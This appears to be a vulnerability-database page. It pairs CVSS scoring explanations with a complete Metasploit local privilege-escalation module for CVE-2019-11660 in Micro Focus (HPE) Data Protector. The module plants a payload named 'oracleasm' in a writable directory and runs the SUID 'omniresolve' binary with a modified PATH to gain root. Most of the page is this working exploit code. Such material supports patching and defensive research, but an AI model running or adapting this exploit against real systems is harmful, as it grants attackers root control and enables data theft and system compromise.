The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Micro Focus (HPE) Data Protector SUID Privilege Escalation
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Micro Focus (HPE) Data Protector SUID Privilege Escalation',
'Description' => %q{
This module exploits the trusted `$PATH` environment
variable of the SUID binary `omniresolve` in
Micro Focus (HPE) Data Protector A.10.40 and prior.
The `omniresolve` executable calls the `oracleasm` binary using
a relative path and the trusted environment `$PATH`, which allows
an attacker to execute a custom binary with `root` privileges.
This module has been successfully tested on:
HPE Data Protector A.09.07: OMNIRESOLVE, internal build 110, built on Thu Aug 11 14:52:38 2016;
Micro Focus Data Protector A.10.40: OMNIRESOLVE, internal build 118, built on Tue May 21 05:49:04 2019 on CentOS Linux release 7.6.1810 (Core)
The vulnerability has been patched in:
Micro Focus Data Protector A.10.40: OMNIRESOLVE, internal build 125, built on Mon Aug 19 19:22:20 2019
},
'License' => MSF_LICENSE,
'Author' =>
[
's7u55', # Discovery and Metasploit module
],
'DisclosureDate' => '2019-09-13',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[
'Micro Focus (HPE) Data Protector <= 10.40 build 118',
upper_version: Gem::Version.new('10.40')
]
],
'DefaultOptions' =>
{
'PrependSetgid' => true,
'PrependSetuid' => true
},
'References' =>
[
[ 'CVE', '2019-11660' ],
[ 'URL', 'https://softwaresupport.softwaregrp.com/doc/KM03525630' ]
]
))
register_options(
[
OptString.new('SUID_PATH', [ true, 'Path to suid executable omniresolve', '/opt/omni/lbin/omniresolve' ])
])
register_advanced_options(
[
OptBool.new('ForceExploit', [ false, 'Override check result', false ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end
def base_dir
datastore['WritableDir'].to_s
end
def suid_bin_path
datastore['SUID_PATH'].to_s
end
def check
unless setuid? suid_bin_path
vprint_error("#{suid_bin_path} executable is not setuid")
return CheckCode::Safe
end
info = cmd_exec("#{suid_bin_path} -ver").to_s
if info =~ /(?<=\w\.)(\d\d\.\d\d)(.*)(?<=build )(\d\d\d)/
version = '%.2f' % $1.to_f
build = $3.to_i
vprint_status("omniresolve version #{version} build #{build}")
unless Gem::Version.new(version) < target[:upper_version] ||
(Gem::Version.new(version) == target[:upper_version] && build <= 118)
return CheckCode::Safe
end
return CheckCode::Appears
end
vprint_error("Could not parse omniresolve -ver output")
CheckCode::Detected
end
def exploit
if check == CheckCode::Safe
unless datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.')
end
print_warning 'Target does not appear to be vulnerable'
end
if is_root?
unless datastore['ForceExploit']
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
end
end
unless writable?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end
payload_path = File.join(base_dir, 'oracleasm')
register_file_for_cleanup(payload_path)
write_file(payload_path, generate_payload_exe)
chmod(payload_path)
trigger_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))
register_file_for_cleanup(trigger_path)
write_file(trigger_path, "#{rand_text_alpha(5..10)}:#{rand_text_alpha(5..10)}")
cmd_exec("env PATH=\"#{base_dir}:$PATH\" #{suid_bin_path} -i #{trigger_path} & echo ")
end
end
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